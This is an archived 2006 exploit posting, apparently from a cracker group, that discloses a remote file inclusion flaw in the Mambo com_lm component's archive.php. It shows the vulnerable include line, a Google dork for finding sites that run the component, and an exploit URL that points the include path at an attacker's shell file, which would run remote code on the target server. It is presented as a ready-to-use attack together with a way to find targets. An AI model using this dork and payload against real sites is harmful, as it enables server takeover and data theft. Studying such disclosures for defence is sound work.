Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] [scip_Advisory 2456] Horde Framework and Horde IMP /index.php cross site referencing

[Full-disclosure] [scip_Advisory 2457] Horde Framework and Horde IMP /horde/imp/search. php cross site scripting

local file include in PHP-Nuke (autohtml. php)

otopholder 1.8 suffers from a local file inclusion,XSS and directory listing vuln

From:	crackers_child_(at)_sibersavascilar.com <crackers_child_(at)_sibersavascilar.com>
Date:	16.08.2006
Subject:	Mambo com_lm component (archive.php) Remote File Include Vulnerabilities

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------


Title : Mambo com_lm component (archive.php) Remote File Include Vulnerabilities

--------------------------------------------------------------------------------

#Author: Crackers_Child


#cont@ct: crackers_child@sibersavascilar.com

--------------------------------------------------------------------------------


Google Dorks  : inurl:"/com_lm/"

------------------------- -------------------------------------------------------

Application :  com_lm Component of Mambo

--------------------------------------------------------------------------------


--------------------------------------------------------------------------------

Bug

in archive.php
--
// Change the $LM_PATH variable in the eu_config.inc.php file in this directory.
require_once($GLOBALS['mosConfig_absolute_path'].
"/components/com_lm/public_config.inc.php");
--
--------------------------------------------------------------------------------


Exploit:

http://[target]/[mambo_path]/components/com_lm/archive.
php?mosConfig_absolute_path=Shell.txt?

--------------------------------------------------------------------------------


greets:

X_ALPEREN_X,Root_MOr And All Other Friends

--------------------------------------------------------------------------------




--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------